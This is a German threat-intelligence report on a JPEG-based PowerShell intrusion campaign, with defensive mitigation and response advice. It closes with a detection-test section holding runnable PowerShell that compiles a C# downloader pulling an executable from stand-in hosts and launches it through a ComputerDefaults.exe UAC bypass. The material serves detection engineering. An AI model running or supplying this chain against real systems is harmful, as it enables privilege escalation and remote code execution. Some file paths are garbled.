OPERATION SILENTCANVAS: JPEG-basierte mehrstufige PowerShell-Intrusion

Zusammenfassung

Operation SilentCanvas ist ein ausgeklügelter mehrstufiger Eindringversuch, der eine bösartige PowerShell-Nutzlast in einer JPEG-Datei namens sysupdate.jpegverbirgt. Diese Nutzlast ruft und kompiliert einen benutzerdefinierten Launcher, der über csc.exeerstellt wurde, missbraucht ComputerDefaults.exe um einen UAC-Bypass ohne Dateien auszuführen, und installiert einen trojanisierten ConnectWise ScreenConnect-Dienst namens OneDriveServers um einen anhaltenden Fernzugriff zu gewährleisten. Die Malware kommuniziert über verschlüsselte Kanäle, die zu legitserver.theworkpc.com über die Ports 5443 and 8041geleitet werden. Die Kampagne zeigt auch ein starkes Augenmerk auf Verteidigungsausweichen, Anmeldeinformationsdiebstahl und verdeckte Überwachung.

Untersuchung

Der Bericht behandelt sowohl die statische als auch die dynamische Analyse des auf JPEG basierenden Ladeprogramms, der dynamisch kompilierten uds.exe Binärdatei und der modifizierten ScreenConnect-Komponenten. Forscher identifizierten mehrere Angriffstechniken, darunter AMSI-Bypass, Nutzung von Standard-Software-Binärdateien, Registrierungshijacking und benutzerdefinierte Schlüsselableitung für verschlüsselte Kommunikation. Die Infrastruktur-Analyse ergab eine fest kodierte Zuordnung zwischen legitserver.theworkpc.com und der IP-Adresse 45.138.16.64. Die Untersuchung deckte auch detaillierte Opferprofilierung, lokale Kontenmanipulation und Funktionalitäten auf, die mit verstecktem Desktop-Zugang verbunden sind.

Minderung

Verteidiger sollten strenge Whitelisting-Regeln für legitime Fernüberwachungs- und Verwaltungstools anwenden und die Ausführung von csc.exe, cvtres.exe, und ComputerDefaults.exeeinschränken oder engmaschig überwachen. Die Überwachung sollte sich auch auf verdächtige ms-settings Registrierungsänderungen, PowerShell AMSI-Bypass-Verhalten, versteckte Prozess-Erstellungsflags und unbefugte Diensterstellung mit dem Namen OneDriveServerskonzentrieren. Alle möglicherweise kompromittierten Konten sollten zurückgesetzt und betroffene Systeme schnell isoliert werden, um weiteren Missbrauch zu verhindern.

Reaktion

Wenn verwandte Indikatoren erkannt werden, sollte der Endpunkt sofort unter Quarantäne gestellt, der bösartige uds.exe Prozess und die damit verbundene PowerShell-Aktivität beendet und der OneDriveServers Dienst vom Host entfernt werden. Ermittler sollten Registrierungsartefakte, Dienst-Binärdateien und Netzwerktelemetrie, die mit der Kommando- und Kontroll-Infrastruktur verbunden sind, für eine tiefere forensische Überprüfung sammeln. Alle privilegierten Anmeldeinformationen sollten geändert werden, und Verteidiger sollten nach Mustern von lateralen Bewegungen suchen, die mit den im Rahmen der Kampagne dokumentierten Techniken verbunden sind.

Ausführungs-Simulation

Voraussetzung: Der Telemetrie- & Basislinien-Vorflug-Check muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifer-Technik (TTP), die darauf abzielt, die Erkennungsregel zu aktivieren. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs widerspiegeln und das genaue Telemetrieverhalten erzeugen, das von der Erkennungslogik erwartet wird. Abstrakte oder nicht zugehörige Beispiele führen zu Fehldiagnosen.

• Angriffs-Narrativ & Befehle:

  1. Erste Stützpunktnahme: Der Angreifer erhält eine Sitzung mit niedriger Berechtigung auf dem Endpoint.
  2. Live-Kompilierung: Unter Verwendung der bereits verfügbaren csc.exe, kompiliert der Angreifer einen C#-Downloader, der eine zweite Nutzlast von einem C2-Server abruft. Die Kompilierung wird aus dem PowerShell-Prozess gestartet, um die Eltern-Kind-Bedingung zu erfüllen.
  3. Dateiloser UAC-Bypass: Der Angreifer führt das neu erstellte ausführbare Programm über ComputerDefaults.exeaus, welches stillschweigend eine Erhöhung der Berechtigungen erfragt, ohne ein UAC-Prompt anzuzeigen.
  4. Post-Elevationsausführung: Die erhöhte Nutzlast stellt eine umgekehrte Shell-Verbindung zum Angreifer her.

  # Schritt 1 – Vorbereitung des bösartigen C#-Quellcodes (im Speicher)
  $csSource = @"
  using System;
  using System.Net;
  using System.Diagnostics;
  public class Downloader {
      public static void Main() {
          using (WebClient wc = new WebClient()) {
              string payloadUrl = "http://malicious.example.com/payload.exe";
              string tempPath = System.IO.Path.Combine($env:TEMP, "payload.exe");
              wc.DownloadFile(payloadUrl, tempPath);
              Process.Start(tempPath);
          }
      }
  }
  "@
  
  $srcPath = "$env:TEMPDownloader.cs"
  $exePath = "$env:TEMPDownloader.exe"
  $csSource | Out-File -FilePath $srcPath -Encoding ASCII
  
  # Schritt 2 – Kompilieren via csc.exe (Eltern = PowerShell)
  & "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" /nologo /t:exe /out:$exePath $srcPath
  
  # Schritt 3 – UAC-Bypass mit ComputerDefaults.exe auslösen (noch Kind von PowerShell)
  $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
  Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden

• Regression-Test-Skript: (eigenständiges PowerShell-Skript, das die oben genannten Schritte reproduziert)

  # -----------------------------------------------------------------
  # Datei: trigger_csc_uac_bypass.ps1
  # Zweck: Simuliert die Angriffskette csc.exe + ComputerDefaults.exe
  # -----------------------------------------------------------------
  
  # Erstellen des bösartigen C#-Quellcodes im TEMP-Verzeichnis
  $src = @"
  using System;
  using System.Net;
  using System.Diagnostics;
  public class Payload {
      public static void Main() {
          using (WebClient wc = new WebClient()) {
              string url = "http://example.com/evil.exe";
              string path = System.IO.Path.Combine($env:TEMP, "evil.exe");
              wc.DownloadFile(url, path);
              Process.Start(path);
          }
      }
  }
  "@
  
  $srcPath = Join-Path $env:TEMP "Payload.cs"
  $exePath = Join-Path $env:TEMP "Payload.exe"
  $src | Out-File -FilePath $srcPath -Encoding ASCII
  
  # Kompilieren mit csc.exe (dieser PowerShell-Prozess wird zum Eltern)
  $csc = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe"
  & $csc /nologo /t:exe /out:$exePath $srcPath
  
  # Ausführung via ComputerDefaults.exe, um einen stillen UAC-Bypass auszuführen
  $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
  Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden

• Bereinigungsbefehle:

  # Entfernen der erstellten Artefakte
  Remove-Item -Path "$env:TEMPPayload.cs" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPPayload.exe" -Force -ErrorAction SilentlyContinue
  # Optional alle fortbestehenden Prozesse beenden, die durch den Test gestartet wurden
  Get-Process -Name "evil" -ErrorAction SilentlyContinue | Stop-Process -Force